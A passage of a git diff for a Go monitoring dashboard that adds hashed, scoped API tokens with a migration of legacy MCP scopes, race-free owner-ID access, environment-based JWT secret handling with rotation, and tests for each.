+// 双层鉴权：闸 1 用 UserID 复用 Server.HasPermission；闸 2 用 Scopes / ServerIDs。 +type APIToken struct { + ID uint64 `gorm:"primaryKey" json:"id,omitempty"` + UserID uint64 `gorm:"index" json:"user_id,omitempty"` + Name string `gorm:"type:varchar(128)" json:"name,omitempty"` + TokenHash string `gorm:"uniqueIndex;type:char(64)" json:"-"` + ScopesCSV string `gorm:"type:text" json:"-"` + ServersCSV string `gorm:"type:text" json:"-"` + ExpiresAt *time.Time `gorm:"index" json:"expires_at,omitempty"` + LastUsedAt *time.Time `json:"last_used_at,omitempty"` + LastUsedIP string `gorm:"type:varchar(64)" json:"last_used_ip,omitempty"` + CreatedAt time.Time `json:"created_at,omitempty"` + UpdatedAt time.Time `gorm:"autoUpdateTime" json:"updated_at,omitempty"` +} + +func (APIToken) TableName() string { + return "api_tokens" +} + +// HashAPIToken 计算明文 token 的存储哈希。 +func HashAPIToken(plaintext string) string { + sum := sha256.Sum256([]byte(plaintext)) + return hex.EncodeToString(sum[:]) +} + +// Scopes 解码逗号分隔的 scope 列表。 +func (t *APIToken) Scopes() []string { + if t.ScopesCSV == "" { + return nil + } + parts := strings.Split(t.ScopesCSV, ",") + out := parts[:0] + for _, p := range parts { + p = strings.TrimSpace(p) + if p != "" { + out = append(out, p) + } + } + return out +} + +// SetScopes 编码 scope 列表为 CSV。 +func (t *APIToken) SetScopes(scopes []string) { + t.ScopesCSV = strings.Join(scopes, ",") +} + +// ServerIDs 解码服务器 ID 白名单。空切片 = 不限制（继承用户原有权限）。 +func (t *APIToken) ServerIDs() []uint64 { + if t.ServersCSV == "" { + return nil + } + parts := strings.Split(t.ServersCSV, ",") + out := make([]uint64, 0, len(parts)) + for _, p := range parts { + p = strings.TrimSpace(p) + if p == "" { + continue + } + var id uint64 + for _, c := range p { + if c < '0' || c > '9' { + id = 0 + break + } + id = id*10 + uint64(c-'0') + } + if id != 0 { + out = append(out, id) + } + } + return out +} + +// SetServerIDs 编码服务器 ID 白名单。 +func (t *APIToken) SetServerIDs(ids []uint64) { + parts := make([]string, 0, len(ids)) + for _, id := range ids { + parts = append(parts, formatUint(id)) + } + t.ServersCSV = strings.Join(parts, ",") +} + +// HasScope 判定 token 是否携带某个 scope。 +// +// 匹配规则： +// - nezha:* 覆盖整个 nezha 命名空间 +// - 资源级通配：nezha:server:* 匹配所有 nezha:server:read/write/delete/exec +// - 精确匹配 +// +// 不再做 mcp:* 别名展开；任何遗留的 mcp:* scope 都视为无效（已被 +// MigrateLegacyMCPScopes 在启动迁移阶段清掉；运行时再遇到当作无权处理）。 +func (t *APIToken) HasScope(scope string) bool { + for _, s := range t.Scopes() { + if scopeMatches(s, scope) { + return true + } + } + return false +} + +// scopeMatches 判定 owned scope 是否覆盖 wanted scope。 +func scopeMatches(owned, wanted string) bool { + if owned == wanted { + return true + } + if owned == ScopeNezhaAll { + return strings.HasPrefix(wanted, "nezha:") + } + if strings.HasSuffix(owned, ":*") { + prefix := strings.TrimSuffix(owned, ":*") + return strings.HasPrefix(wanted, prefix+":") || wanted == prefix + } + return false +} + +// CanAccessServer 判定 token 是否被允许操作某 server（白名单层； +// 仍需上层调用 Server.HasPermission 做用户级权限校验）。 +func (t *APIToken) CanAccessServer(serverID uint64) bool { + ids := t.ServerIDs() + if len(ids) == 0 { + return true + } + return slices.Contains(ids, serverID) +} + +// IsExpired 判定 token 是否已过期。ExpiresAt 为 nil 表示永不过期。 +func (t *APIToken) IsExpired(now time.Time) bool { + return t.ExpiresAt != nil && now.After(*t.ExpiresAt) +} + +// BeforeCreate 在写入前强校验 TokenHash 必填，避免空哈希撞键。 +func (t *APIToken) BeforeCreate(tx *gorm.DB) error { + if t.TokenHash == "" { + return gorm.ErrInvalidData + } + return nil +} + +// MigrateLegacyMCPScopes 把数据库里残留的 mcp:* scope 一次性归一化： +// - 只读/exec 类映射到对应 nezha:* read/exec scope； +// - mcp:fs:write / mcp:fs:delete / mcp:* 会被剥掉（不再赋予 REST write/delete）， +// 若 token 因此 scope 列表清空则整体删除——避免出现一张 0 scope 但仍能命中 +// auth middleware 的 PAT。 +// +// 返回 (rewrittenTokens, deletedTokens, err)。生产路径在启动时调用一次； +// 测试也会用它构造 fixture。 +func MigrateLegacyMCPScopes(db *gorm.DB) (int, int, error) { + if db == nil { + return 0, 0, nil + } + var rows []APIToken + if err := db.Where("scopes_csv LIKE ?", "%mcp:%").Find(&rows).Error; err != nil { + return 0, 0, err + } + rewritten, deleted := 0, 0 + for i := range rows { + tok := &rows[i] + old := tok.Scopes() + next := make([]string, 0, len(old)) + seen := make(map[string]struct{}, len(old)) + for _, s := range old { + mapped, ok := NormalizeIncomingScope(s) + if !ok { + continue + } + if _, dup := seen[mapped]; dup { + continue + } + seen[mapped] = struct{}{} + next = append(next, mapped) + } + if len(next) == 0 { + if err := db.Delete(&APIToken{}, tok.ID).Error; err != nil { + return rewritten, deleted, err + } + deleted++ + continue + } + joined := strings.Join(next, ",") + if joined == tok.ScopesCSV { + continue + } + if err := db.Model(&APIToken{}).Where("id = ?", tok.ID). + Update("scopes_csv", joined).Error; err != nil { + return rewritten, deleted, err + } + rewritten++ + } + return rewritten, deleted, nil +} + +// formatUint —— 小工具，避免引入 strconv。 +func formatUint(v uint64) string { + if v == 0 { + return "0" + } + var buf [20]byte + i := len(buf) + for v > 0 { + i-- + buf[i] = byte('0' + v%10) + v /= 10 + } + return string(buf[i:]) +} + +// APITokenCreateRequest 是创建 PAT 接口的入参。 +type APITokenCreateRequest struct { + Name string `json:"name" binding:"required,max=128"` + Scopes []string `json:"scopes" binding:"required,min=1,dive,max=64"` + ServerIDs []uint64 `json:"server_ids,omitempty"` + ExpiresInDays int `json:"expires_in_days,omitempty"` // 0 = 永不过期 +} + +// APITokenCreateResponse 创建 PAT 接口的出参；明文 token 仅在此刻返回一次。 +type APITokenCreateResponse struct { + ID uint64 `json:"id"` + Name string `json:"name"` + Token string `json:"token"` + Scopes []string `json:"scopes"` + ServerIDs []uint64 `json:"server_ids,omitempty"` + ExpiresAt *time.Time `json:"expires_at,omitempty"` +} + +// APITokenView 是 PAT 列表展示用的脱敏视图。 +type APITokenView struct { + ID uint64 `json:"id"` + Name string `json:"name"` + Scopes []string `json:"scopes"` + ServerIDs []uint64 `json:"server_ids,omitempty"` + ExpiresAt *time.Time `json:"expires_at,omitempty"` + LastUsedAt *time.Time `json:"last_used_at,omitempty"` + LastUsedIP string `json:"last_used_ip,omitempty"` + CreatedAt time.Time `json:"created_at"` +} + +// ToView 把数据库实体转为列表脱敏视图。 +func (t *APIToken) ToView() APITokenView { + return APITokenView{ + ID: t.ID, + Name: t.Name, + Scopes: t.Scopes(), + ServerIDs: t.ServerIDs(), + ExpiresAt: t.ExpiresAt, + LastUsedAt: t.LastUsedAt, + LastUsedIP: t.LastUsedIP, + CreatedAt: t.CreatedAt, + } +} diff --git a/model/api_token_migration_test.go b/model/api_token_migration_test.go new file mode 100644 index 00000000..7ddf1d09 --- /dev/null +++ b/model/api_token_migration_test.go @@ -0,0 +1,112 @@ +package model + +import ( + "strings" + "testing" + + "gorm.io/driver/sqlite" + "gorm.io/gorm" +) + +func newMigrationTestDB(t *testing.T) *gorm.DB { + t.Helper() + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + if err != nil { + t.Fatalf("open db: %v", err) + } + if err := db.AutoMigrate(&APIToken{}); err != nil { + t.Fatalf("migrate: %v", err) + } + return db +} + +func TestNormalizeIncomingScope_RewritesReadOnlyMCPVariants(t *testing.T) { + cases := map[string]string{ + "mcp:fs:read": ScopeServerRead, + "mcp:server:read": ScopeServerRead, + "mcp:server:exec": ScopeServerExec, + } + for in, want := range cases { + got, ok := NormalizeIncomingScope(in) + if !ok { + t.Fatalf("NormalizeIncomingScope(%q) ok=false; legacy read/exec must remain creatable", in) + } + if got != want { + t.Fatalf("NormalizeIncomingScope(%q) = %q, want %q", in, got, want) + } + } +} + +func TestNormalizeIncomingScope_RejectsDangerousLegacyVariants(t *testing.T) { + for _, in := range []string{"mcp:fs:write", "mcp:fs:delete", "mcp:*", "mcp:unknown"} { + if got, ok := NormalizeIncomingScope(in); ok { + t.Errorf("NormalizeIncomingScope(%q) = (%q, true); legacy write/delete/wildcard must be rejected", in, got) + } + } +} + +func TestNormalizeIncomingScope_PassesThroughNezhaScopes(t *testing.T) { + got, ok := NormalizeIncomingScope(ScopeServerWrite) + if !ok || got != ScopeServerWrite { + t.Fatalf("nezha:* must pass through unchanged: got (%q, %v)", got, ok) + } +} + +func TestMigrateLegacyMCPScopes_RewritesReadOnlyAndDropsDangerous(t *testing.T) { + db := newMigrationTestDB(t) + + tokens := []APIToken{ + {UserID: 1, Name: "read-only", TokenHash: HashAPIToken("nzp_a"), ScopesCSV: "mcp:fs:read"}, + {UserID: 2, Name: "mixed", TokenHash: HashAPIToken("nzp_b"), ScopesCSV: "mcp:server:read,mcp:fs:write"}, + {UserID: 3, Name: "purely-dangerous", TokenHash: HashAPIToken("nzp_c"), ScopesCSV: "mcp:fs:write,mcp:*"}, + {UserID: 4, Name: "modern", TokenHash: HashAPIToken("nzp_d"), ScopesCSV: ScopeServerRead}, + } + for i := range tokens { + if err := db.Create(&tokens[i]).Error; err != nil { + t.Fatalf("seed token %d: %v", i, err) + } + } + + rewritten, deleted, err := MigrateLegacyMCPScopes(db) + if err != nil { + t.Fatalf("MigrateLegacyMCPScopes: %v", err) + } + if rewritten < 2 { + t.Fatalf("expected >=2 rewrites (read-only + mixed); got %d", rewritten) + } + if deleted != 1 { + t.Fatalf("expected 1 deleted token (purely-dangerous); got %d", deleted) + } + + var got []APIToken + if err := db.Order("id ASC").Find(&got).Error; err != nil { + t.Fatalf("reload: %v", err) + } + if len(got) != 3 { + t.Fatalf("expected 3 surviving tokens; got %d", len(got)) + } + for _, tok := range got { + if strings.Contains(tok.ScopesCSV, "mcp:") { + t.Fatalf("token %d still carries legacy scope after migration: %q", tok.ID, tok.ScopesCSV) + } + } + + for _, tok := range got { + switch tok.UserID { + case 1: + if tok.ScopesCSV != ScopeServerRead { + t.Fatalf("uid=1 expected %q, got %q", ScopeServerRead, tok.ScopesCSV) + } + case 2: + if tok.ScopesCSV != ScopeServerRead { + t.Fatalf("uid=2 should keep only the safe read scope after drop; got %q", tok.ScopesCSV) + } + case 4: + if tok.ScopesCSV != ScopeServerRead { + t.Fatalf("uid=4 already-modern token must be untouched; got %q", tok.ScopesCSV) + } + default: + t.Fatalf("unexpected surviving token uid=%d", tok.UserID) + } + } +} diff --git a/model/api_token_test.go b/model/api_token_test.go new file mode 100644 index 00000000..6bdba54d --- /dev/null +++ b/model/api_token_test.go @@ -0,0 +1,148 @@ +package model + +import ( + "strings" + "testing" + "time" +) + +func TestHashAPIToken_DeterministicAndAvalanche(t *testing.T) { + a := HashAPIToken("nzp_alpha") + b := HashAPIToken("nzp_alpha") + if a != b { + t.Fatalf("hash must be deterministic for identical inputs") + } + c := HashAPIToken("nzp_alphb") + if a == c { + t.Fatalf("single-byte change in input must change hash") + } + if len(a) != 64 { + t.Fatalf("hash must be 64 hex chars (sha256), got %d", len(a)) + } +} + +func TestAPIToken_HasScope_AllAndExact(t *testing.T) { + tok := &APIToken{} + tok.SetScopes([]string{ScopeServerRead, ScopeServerExec}) + if !tok.HasScope(ScopeServerRead) { + t.Fatalf("explicit scope must pass") + } + if !tok.HasScope(ScopeServerExec) { + t.Fatalf("explicit scope must pass") + } + if tok.HasScope(ScopeServerWrite) { + t.Fatalf("missing scope must fail") + } + + tok.SetScopes([]string{ScopeNezhaAll}) + for _, s := range []string{ScopeServerRead, ScopeServerWrite, ScopeServerDelete, ScopeServerExec} { + if !tok.HasScope(s) { + t.Fatalf("nezha:* must cover %s", s) + } + } +} + +func TestAPIToken_HasScope_TrimsWhitespace(t *testing.T) { + tok := &APIToken{ScopesCSV: " nezha:server:read , nezha:server:exec "} + if !tok.HasScope(ScopeServerRead) { + t.Fatalf("scope with surrounding whitespace must be normalized") + } +} + +func TestAPIToken_CanAccessServer_EmptyMeansAll(t *testing.T) { + tok := &APIToken{} + if !tok.CanAccessServer(1) { + t.Fatalf("empty server list must allow any server") + } + if !tok.CanAccessServer(99999) { + t.Fatalf("empty server list must allow any server") + } +} + +func TestAPIToken_CanAccessServer_Whitelist(t *testing.T) { + tok := &APIToken{} + tok.SetServerIDs([]uint64{2, 5, 7}) + if !tok.CanAccessServer(5) { + t.Fatalf("listed server must be allowed") + } + if tok.CanAccessServer(6) { + t.Fatalf("unlisted server must be denied") + } +} + +func TestAPIToken_SetServerIDs_RoundTrip(t *testing.T) { + tok := &APIToken{} + tok.SetServerIDs([]uint64{10, 11, 12}) + got := tok.ServerIDs() + if len(got) != 3 || got[0] != 10 || got[2] != 12 { + t.Fatalf("round-trip failed: %v", got) + } +} + +func TestAPIToken_ServerIDs_SkipsGarbage(t *testing.T) { + tok := &APIToken{ServersCSV: "1,2,abc,3"} + got := tok.ServerIDs() + if len(got) != 3 || got[0] != 1 || got[1] != 2 || got[2] != 3 { + t.Fatalf("garbage entries must be skipped; got %v", got) + } +} + +func TestAPIToken_IsExpired(t *testing.T) { + tok := &APIToken{} + if tok.IsExpired(time.Now()) { + t.Fatalf("nil expiry must mean never expired") + } + past := time.Now().Add(-time.Hour) + tok.ExpiresAt = &past + if !tok.IsExpired(time.Now()) { + t.Fatalf("past expiry must mark expired") + } + future := time.Now().Add(time.Hour) + tok.ExpiresAt = &future + if tok.IsExpired(time.Now()) { + t.Fatalf("future expiry must not mark expired") + } +} + +func TestAPIToken_HashAPIToken_NoSecretLeak(t *testing.T) { + plaintext := "nzp_supersecret" + hash := HashAPIToken(plaintext) + if strings.Contains(hash, plaintext) { + t.Fatalf("hash must not contain plaintext") + } + if strings.Contains(hash, "super") { + t.Fatalf("hash must not contain secret substring") + } +} + +func TestAPIToken_BeforeCreate_RejectsEmptyHash(t *testing.T) { + tok := &APIToken{Name: "x"} + err := tok.BeforeCreate(nil) + if err == nil { + t.Fatalf("BeforeCreate must reject empty TokenHash") + } +} + +func TestAPIToken_BeforeCreate_AcceptsNonEmptyHash(t *testing.T) { + tok := &APIToken{Name: "x", TokenHash: HashAPIToken("nzp_xyz")} + if err := tok.BeforeCreate(nil); err != nil { + t.Fatalf("BeforeCreate must accept non-empty hash, got %v", err) + } +} + +func TestAPIToken_ToView_OmitsTokenHash(t *testing.T) { + tok := &APIToken{ + ID: 1, + UserID: 2, + Name: "x", + TokenHash: "DEADBEEF", + } + tok.SetScopes([]string{ScopeServerRead}) + v := tok.ToView() + if v.ID != 1 || v.Name != "x" { + t.Fatalf("view missing core fields") + } + if len(v.Scopes) != 1 || v.Scopes[0] != ScopeServerRead { + t.Fatalf("view missing scopes") + } +} diff --git a/model/api_token_unified_scope_test.go b/model/api_token_unified_scope_test.go new file mode 100644 index 00000000..cd151f70 --- /dev/null +++ b/model/api_token_unified_scope_test.go @@ -0,0 +1,82 @@ +package model + +import ( + "slices" + "testing" +) + +// 这些测试约束「scope 命名统一」契约： +// - 只有 nezha:* 一套是 first-class scope； +// - mcp:* 不再作为 HasScope 的别名（避免 mcp:fs:write 静默扩到 REST 的 nezha:server:write）； +// - AllScopes / AdminOnlyScopes 不再包含 mcp:*，新建 token 不能再签发它们。 +// +// 旧 mcp:* 兼容由 createAPIToken 入口做一次性归一化（mcp:fs:read 等只读/exec 映射到 +// 对应的 nezha:* read/exec），但 write/delete 类不再映射；详见 controller.createAPIToken。 + +func TestAllScopes_DoesNotExposeLegacyMCPScopes(t *testing.T) { + legacy := []string{ + "mcp:*", + "mcp:server:read", + "mcp:server:exec", + "mcp:fs:read", + "mcp:fs:write", + "mcp:fs:delete", + } + for _, s := range legacy { + if slices.Contains(AllScopes, s) { + t.Errorf("AllScopes must not advertise legacy scope %q; only nezha:* is first-class", s) + } + if slices.Contains(AdminOnlyScopes, s) { + t.Errorf("AdminOnlyScopes must not advertise legacy scope %q", s) + } + } +} + +func TestHasScope_LegacyMCPNoLongerAliasesNezhaWrite(t *testing.T) { + // 旧 token 数据库里残留 mcp:fs:write，绝不允许覆盖 REST 的 nezha:server:write。 + tok := &APIToken{ScopesCSV: "mcp:fs:write"} + if tok.HasScope(ScopeServerWrite) { + t.Fatalf("legacy mcp:fs:write must NOT grant nezha:server:write via HasScope; " + + "REST routes (server/config, server/:id, batch-delete/server) would become reachable") + } + if tok.HasScope(ScopeServerDelete) { + t.Fatalf("legacy mcp:fs:write must NOT grant nezha:server:delete") + } +} + +func TestHasScope_LegacyMCPDeleteNoLongerAliasesNezhaDelete(t *testing.T) { + tok := &APIToken{ScopesCSV: "mcp:fs:delete"} + if tok.HasScope(ScopeServerDelete) { + t.Fatalf("legacy mcp:fs:delete must NOT grant nezha:server:delete via HasScope") + } +} + +func TestHasScope_LegacyMCPAllNoLongerWildcards(t *testing.T) { + tok := &APIToken{ScopesCSV: "mcp:*"} + for _, s := range []string{ScopeServerRead, ScopeServerWrite, ScopeServerDelete, ScopeServerExec} { + if tok.HasScope(s) { + t.Errorf("legacy mcp:* must not be treated as a nezha:* wildcard; granted %s", s) + } + } +} + +func TestHasScope_NezhaWildcardStillWorks(t *testing.T) { + tok := &APIToken{ScopesCSV: ScopeNezhaAll} + for _, s := range []string{ScopeServerRead, ScopeServerWrite, ScopeServerDelete, ScopeServerExec} { + if !tok.HasScope(s) { + t.Errorf("nezha:* wildcard must still cover %s", s) + } + } +} + +func TestHasScope_NezhaResourceWildcardStillWorks(t *testing.T) { + tok := &APIToken{ScopesCSV: "nezha:server:*"} + for _, s := range []string{ScopeServerRead, ScopeServerWrite, ScopeServerDelete, ScopeServerExec} { + if !tok.HasScope(s) { + t.Errorf("nezha:server:* must cover %s", s) + } + } + if tok.HasScope(ScopeServiceRead) { + t.Fatalf("nezha:server:* must NOT leak into nezha:service:* family") + } +} diff --git a/model/common.go b/model/common.go index 321f815b..cda2b486 100644 --- a/model/common.go +++ b/model/common.go @@ -6,6 +6,7 @@ import ( "slices" "strconv" "strings" + "sync/atomic" "time" "github.com/gin-gonic/gin" @@ -16,8 +17,13 @@ const ( CtxKeyAuthorizedUser = "ckau" CtxKeyRealIPStr = "ckri" CtxKeyIsIPMismatch = "ckipm" + CtxKeyAPIToken = "ckpat" ) +type APITokenAccessor interface { + CanAccessServer(uint64) bool +} + const ( CacheKeyOauth2State = "cko2s::" ) @@ -37,8 +43,21 @@ func (c *Common) GetID() uint64 { return c.ID } +// GetUserID 原子读取所属用户 ID。Server.UserID 会在 ServerTransfer 的 +// Register/revertTransition 流程里被实时改写以反映新所有者，同时 auth +// 热路径在每次 agent RPC 都会读它。任何并发读必须走 atomic，否则与 SetUserID +// 一起会被 go race detector 识别为 data race（见 +// TestServerUserIDConcurrentAccessIsRaceFree）。 func (c *Common) GetUserID() uint64 { - return c.UserID + return atomic.LoadUint64(&c.UserID) +} + +// SetUserID 原子改写所属用户 ID。仅在「server 已经在 in-memory cache 里」 +// 的写入路径（ServerTransfer.Register / revertTransition）需要用 atomic +// 保证可见性；普通 GORM AfterFind / Create 因为没有并发读所以可以直接赋 +// 值。配合 GetUserID 形成 atomic-only 的并发访问协议。 +func (c *Common) SetUserID(uid uint64) { + atomic.StoreUint64(&c.UserID, uid) } func (c *Common) HasPermission(ctx *gin.Context) bool { @@ -52,7 +71,14 @@ func (c *Common) HasPermission(ctx *gin.Context) bool { return true } - return user.ID == c.UserID + // 必须走 GetUserID 而不是裸读 c.UserID — Server.UserID 在 + // ServerTransfer.Register / revertTransition 里会被 atomic.StoreUint64 + // 改写，dashboard 各 controller 在 listHandler post-filter 这条热路径上 + // 高频对同一 *Server 调 HasPermission。裸读会与 SetUserID 形成 data + // race（TestCommonHasPermissionConcurrentWithSetUserIDIsRaceFree 在 + // -race 下钉死该不变量），并且在 transfer 切换瞬间可能给出错误的权限 + // 判断。 + return user.ID == c.GetUserID() } type CommonInterface interface { diff --git a/model/common_test.go b/model/common_test.go index ed4d94c8..0d773d50 100644 --- a/model/common_test.go +++ b/model/common_test.go @@ -1,11 +1,49 @@ package model import ( + "net/http/httptest" "reflect" "slices" "testing" + + "github.com/gin-gonic/gin" ) +func TestCommonHasPermission(t *testing.T) { + resource := &Common{ID: 10, UserID: 100} + + t.Run("unauthenticated denied", func(t *testing.T) { + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + if resource.HasPermission(ctx) { + t.Fatal("expected unauthenticated request to be denied") + } + }) + + t.Run("owner allowed", func(t *testing.T) { + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 100}, Role: RoleMember}) + if !resource.HasPermission(ctx) { + t.Fatal("expected owner to be allowed") + } + }) + + t.Run("foreign member denied", func(t *testing.T) { + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 200}, Role: RoleMember}) + if resource.HasPermission(ctx) { + t.Fatal("expected non-owner member to be denied") + } + }) + + t.Run("admin allowed", func(t *testing.T) { + ctx, _ := gin.CreateTestContext(httptest.NewRecorder()) + ctx.Set(CtxKeyAuthorizedUser, &User{Common: Common{ID: 1}, Role: RoleAdmin}) + if !resource.HasPermission(ctx) { + t.Fatal("expected admin to be allowed") + } + }) +} + func TestSearchByID(t *testing.T) { t.Run("WithoutPriorityList", func(t *testing.T) { list, exp := []*DDNSProfile{ diff --git a/model/config.go b/model/config.go index 22a9becd..cdcddba9 100644 --- a/model/config.go +++ b/model/config.go @@ -1,9 +1,12 @@ package model import ( + "log" "os" "path/filepath" + "strconv" "strings" + "sync/atomic" "github.com/go-viper/mapstructure/v2" kmaps "github.com/knadh/koanf/maps" @@ -15,9 +18,19 @@ import ( "github.com/nezhahq/nezha/pkg/utils" ) +// JWTSecretEnvKey is the canonical environment variable that injects the JWT +// signing key. When set, the dashboard never writes the key to disk and the +// version-driven rotation in RotateJWTSecretKeyIfNeeded is skipped so that +// rotation is fully controlled by the operator / KMS. +const JWTSecretEnvKey = "NZ_JWTSECRETKEY" // #nosec G101 -- environment variable name, not a hardcoded secret value. + const ( - ConfigUsePeerIP = "NZ::Use-Peer-IP" - ConfigCoverAll = iota + ConfigUsePeerIP = "NZ::Use-Peer-IP" + JWTSecretKeyRotationBaselineVersion = "v2.0.13" +) + +const ( + ConfigCoverAll = iota + 1 ConfigCoverIgnoreAll ) @@ -35,7 +48,17 @@ type ConfigForGuests struct { type ConfigDashboard struct { InstallHost string `koanf:"install_host" json:"install_host,omitempty"` - AgentTLS bool `koanf:"tls" json:"tls,omitempty"` // 用于前端判断生成的安装命令是否启用 TLS + // AgentTLS controls the transport emitted by Agent installation commands. + // false intentionally supports trusted private networks and does not provide + // Dashboard peer authentication; Internet-facing control planes must use + // verified TLS. Changing this compatibility default belongs in the installer + // migration path, not in the gRPC task authorization model. + AgentTLS bool `koanf:"tls" json:"tls,omitempty"` + + // DashboardHost 是 dashboard 对外访问的主机名，专用于 OAuth2 回调地址。 + // 它与 InstallHost（agent 连接用主机名）解耦：两者可以是不同域名。 + // 为空时，OAuth2 回调放行请求 Host（信任请求头），不做强制重写。 + DashboardHost string `koanf:"dashboard_host" json:"dashboard_host,omitempty"` WebRealIPHeader string `koanf:"web_real_ip_header" json:"web_real_ip_header,omitempty"` // 前端真实IP AgentRealIPHeader string `koanf:"agent_real_ip_header" json:"agent_real_ip_header,omitempty"` // Agent真实IP @@ -44,6 +67,13 @@ type ConfigDashboard struct { EnablePlainIPInNotification bool `koanf:"enable_plain_ip_in_notification" json:"enable_plain_ip_in_notification,omitempty"` // 通知信息IP不打码 + EnableMCP bool `koanf:"enable_mcp" json:"enable_mcp,omitempty"` // 是否启用 MCP 入口（默认关闭；启用前请审视 PAT scope/whitelist） + + // GHSA-x6fg-52vr-hj4w：反代部署下 dashboard 的对外域名进程自身看不到， + // InstallHost/ListenHost 无法覆盖。运维在此用逗号分隔声明这些对外 host， + // 成员便无法注册与之冲突的 NAT 域名抢占路由。 + ReservedHosts string `koanf:"reserved_hosts" json:"reserved_hosts,omitempty"` + // IP变更提醒 EnableIPChangeNotification bool `koanf:"enable_ip_change_notification" json:"enable_ip_change_notification,omitempty"` IPChangeNotificationGroupID uint64 `koanf:"ip_change_notification_group_id" json:"ip_change_notification_group_id"` @@ -75,9 +105,18 @@ type Config struct { AgentSecretKey string `koanf:"agent_secret_key" json:"agent_secret_key,omitempty"` JWTTimeout int `koanf:"jwt_timeout" json:"jwt_timeout,omitempty"` // JWT token过期时间（小时） - JWTSecretKey string `koanf:"jwt_secret_key" json:"jwt_secret_key,omitempty"` - ListenPort uint16 `koanf:"listen_port" json:"listen_port,omitempty"` - ListenHost string `koanf:"listen_host" json:"listen_host,omitempty"` + JWTSecretKey string `koanf:"jwt_secret_key" json:"-" yaml:"-"` + JWTSecretKeyLastRotatedVersion string `koanf:"jwt_secret_key_last_rotated_version" json:"jwt_secret_key_last_rotated_version,omitempty"` + ListenPort uint16 `koanf:"listen_port" json:"listen_port,omitempty"` + ListenHost string `koanf:"listen_host" json:"listen_host,omitempty"` + + jwtSecretFromEnv bool `koanf:"-" json:"-" yaml:"-"` + jwtSecretFromYAML bool `koanf:"-" json:"-" yaml:"-"` + + // mcpEnabled：EnableMCP 的并发安全镜像，kill switch 跨 goroutine 读写走 + // MCPEnabled()/SetMCPEnabled()。放外层 Config 而非 ConfigDashboard，避免 + // SettingResponse 按值拷贝 ConfigDashboard 触发 copylocks。 + mcpEnabled atomic.Bool `koanf:"-" json:"-" yaml:"-"` // oauth2 配置 Oauth2 map[string]*Oauth2Config `koanf:"oauth2" json:"oauth2,omitempty"` @@ -175,12 +214,23 @@ func (c *Config) Read(path string, frontendTemplates []FrontendTemplate) error { if c.Cover == 0 { c.Cover = 1 } + if envSecret := os.Getenv(JWTSecretEnvKey); envSecret != "" { + c.JWTSecretKey = envSecret + c.jwtSecretFromEnv = true + } else if c.JWTSecretKey != "" { + c.jwtSecretFromYAML = true + log.Printf("NEZHA>> jwt_secret_key loaded from config.yaml; recommend injecting via env %s to keep it off disk", JWTSecretEnvKey) + } + if c.JWTSecretKey == "" { - c.JWTSecretKey, err = utils.GenerateRandomString(1024) + generated, err := utils.GenerateRandomString(1024) if err != nil { return err } - if err = c.Save(); err != nil { + c.JWTSecretKey = generated + c.jwtSecretFromYAML = true + log.Printf("NEZHA>> generated new jwt_secret_key; wrote to config.yaml. For production, inject via env %s and remove the field from config.yaml.", JWTSecretEnvKey) + if err := c.patchYAMLField("jwt_secret_key", generated); err != nil { return err } } @@ -200,15 +250,91 @@ func (c *Config) Read(path string, frontendTemplates []FrontendTemplate) error { } } + c.mcpEnabled.Store(c.EnableMCP) + return nil } +// MCPEnabled 并发安全地读取 MCP kill switch 状态。 +func (c *Config) MCPEnabled() bool { + return c.mcpEnabled.Load() +} + +// SetMCPEnabled 并发安全地更新 MCP kill switch 状态。只写 atomic 镜像，不直接 +// 写 EnableMCP 明文字段——后者会与 listConfig 的 *singleton.Conf 整体拷贝读发生 +// 数据竞争。持久化由 save() 在 marshal 前从 atomic 同步明文字段完成。 +func (c *Config) SetMCPEnabled(v bool) { + c.mcpEnabled.Store(v) +} + // Save 保存配置文件 func (c *Config) Save() error { return c.save() } +func (c *Config) RotateJWTSecretKeyIfNeeded(currentVersion string) (bool, error) { + if c.jwtSecretFromEnv { + return false, nil + } + + currentVersion = strings.TrimSpace(currentVersion) + if compareVersion(currentVersion, JWTSecretKeyRotationBaselineVersion) < 0 { + return false, nil + } + + initialMarker := c.JWTSecretKeyLastRotatedVersion + shouldRotate := c.JWTSecretKeyLastRotatedVersion == "" || compareVersion(c.JWTSecretKeyLastRotatedVersion, JWTSecretKeyRotationBaselineVersion) < 0 + if shouldRotate { + secret, err := utils.GenerateRandomString(1024) + if err != nil { + return false, err + } + c.JWTSecretKey = secret + } + + c.JWTSecretKeyLastRotatedVersion = currentVersion + + if !shouldRotate && c.JWTSecretKeyLastRotatedVersion == initialMarker { + return false, nil + } + if shouldRotate { + if err := c.patchYAMLField("jwt_secret_key", c.JWTSecretKey); err != nil { + return false, err + } + } + if err := c.patchYAMLField("jwt_secret_key_last_rotated_version", c.JWTSecretKeyLastRotatedVersion); err != nil { + return false, err + } + return shouldRotate, nil +} + +func (c *Config) patchYAMLField(key string, value any) error { + dir := filepath.Dir(c.filePath) + if err := os.MkdirAll(dir, 0750); err != nil { + return err + } + + raw := map[string]any{} + if data, err := os.ReadFile(c.filePath); err == nil { + if len(data) > 0 { + if err := yaml.Unmarshal(data, &raw); err != nil { + return err + } + } + } else if !os.IsNotExist(err) { + return err + } + raw[key] = value + + out, err := yaml.Marshal(raw) + if err != nil { + return err + } + return os.WriteFile(c.filePath, out, 0600) +} + func (c *Config) save() error { + c.EnableMCP = c.mcpEnabled.Load() data, err := yaml.Marshal(c) if err != nil { return err @@ -226,6 +352,40 @@ func (c *Config) write(data []byte) error { return os.WriteFile(c.filePath, data, 0600) } +func compareVersion(left, right string) int { + leftParts, leftOK := parseVersion(left) + rightParts, rightOK := parseVersion(right) + if !leftOK || !rightOK { + return -1 + } + for i := range leftParts { + if leftParts[i] < rightParts[i] { + return -1 + } + if leftParts[i] > rightParts[i] { + return 1 + } + } + return 0 +} + +func parseVersion(version string) ([3]int, bool) { + version = strings.TrimPrefix(strings.TrimSpace(version), "v") + parts := strings.Split(version, ".") + if len(parts) != 3 { + return [3]int{}, false + } + var parsed [3]int + for i, part := range parts { + value, err := strconv.Atoi(part) + if err != nil { + return [3]int{}, false + } + parsed[i] = value + } + return parsed, true +} + func koanfConf(c any) koanf.UnmarshalConf { return koanf.UnmarshalConf{ DecoderConfig: &mapstructure.DecoderConfig{ diff --git a/model/config_test.go 